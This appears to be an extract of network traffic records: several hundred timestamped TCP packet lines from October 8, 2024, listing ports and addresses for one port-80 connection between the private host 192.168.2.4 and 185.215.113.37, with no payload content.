Oct 8, 2024 08:22:14.707549095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.707575083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.707614899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.707623005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.707654953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.707675934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.707710028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.707731009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.707758904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.707783937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.707832098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.707864046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.707884073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.707915068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.707959890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:14.707976103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.708009958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.898749113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:14.904334068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.117347002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.117403984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.117439032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.117496967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.117538929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.117713928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.117780924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.117810011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.117849112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.117861986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.117892027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.117892027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.117923975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.117990017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.118032932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.118050098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.118079901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.118122101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.118172884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.118202925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.118251085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.118278027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.118324041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.118355036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.118367910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.118393898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.118413925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.118465900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.118511915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.118540049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.118587971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.118602991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.118633032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.118654013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.118697882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.118712902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.118745089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.118768930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.118812084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.118827105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.118858099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.118880033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.118913889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.118935108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.118961096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.118988037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.119020939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.119044065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.119072914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.119096994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.119142056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.119158030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.119185925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.119210958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.119244099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.119267941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.119301081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.119323969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.119368076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.119401932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.119432926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.119479895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.119517088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.119540930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.119570971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.119595051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.119637012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.119651079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.119680882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.119707108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.119740009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.119760990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.119785070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.119820118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.119827986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.119859934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.119877100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.119901896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.119934082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.119957924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.119987011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.120009899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.120059013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.120089054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.120100021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.120135069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.120153904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.120176077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.120208025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.120249987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.120249987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.120294094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.120327950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.120353937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.120384932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.120408058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.120462894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.204758883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.204797029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.204905033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.204946995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.242217064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.242275953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.242311001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.242362976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.242403030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.242458105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.242458105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.242459059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.242459059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.242522001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.242552042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.242575884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.242599010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.242683887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.242731094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.242763042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.242810965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.242835999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.242881060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.242908001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.242942095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.242961884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.242986917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.243032932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.243078947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.243103981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.243153095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.243179083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.243208885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.243230104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.243257046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.243303061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.243347883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.243376017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.243423939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.243465900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.243500948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.243525982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.243557930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.243585110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.243618965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.243639946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.243664026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.243712902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.243761063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.243787050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.243815899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.243838072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.243863106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.243908882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.243953943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.243987083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.244024038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.244041920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.244091034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.244119883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.244179010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.244210958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.244256973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.244282961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.244313002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.244333982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.244358063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.244402885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.244451046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.244477987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.244522095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.244550943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.244595051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.244645119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.244674921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.244695902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.244719982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.244766951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.244813919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.244842052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.244872093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.244893074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.244915962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.244959116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.245002985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.245018005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.245045900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.245069027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.245112896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.245126963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.245156050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.245182037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.245214939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.245239019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.245269060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.245290995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.245337009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.245362997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.245397091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.245420933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.245450020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.245474100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.245506048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.245528936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.245562077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.245584965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.245618105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.245639086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.245661974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.245690107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.245719910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.245743036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.245764017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.245793104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.245825052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.245845079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.245872974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.245894909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.245927095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.245946884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.245970964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.246001959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.246043921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.246058941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.246088028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.246110916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.246153116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.246166945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.246196985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.246221066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.246252060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.246273041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.246300936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.246325016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.246359110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.246381998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.246409893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.246437073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.246464968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.246485949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.246510029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.246536970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.246582985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.246597052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.246627092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.246649027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.246681929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.246707916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.246738911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.246762037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.246807098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.246831894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.246859074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.246879101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.246901989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.246929884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.246973038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.246997118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.247025967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.247045994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.247076988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.247107029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.247127056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.247153044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.247184038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.247217894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.247240067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.247275114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.247284889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.247308969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.247328043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.247358084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.247427940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.247445107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.247478008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.247498989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.247522116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.247549057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.247594118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.247607946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.247647047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.247663021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.247690916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.247723103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.247744083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.247766972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.247812033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.247828007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.247857094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.247879028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.247920990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.247936010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.247963905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.247988939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.248037100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.248050928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.248079062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.248099089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.248142004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.248159885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.248186111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.248217106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.248250008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.248260975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.248275995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.248286009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.248298883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.248317003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.248326063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.248336077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.248343945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.248354912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.248361111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.248368979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.248392105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.248400927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.248408079 CEST	49730	80	192.168.2.4	185.215.113.37
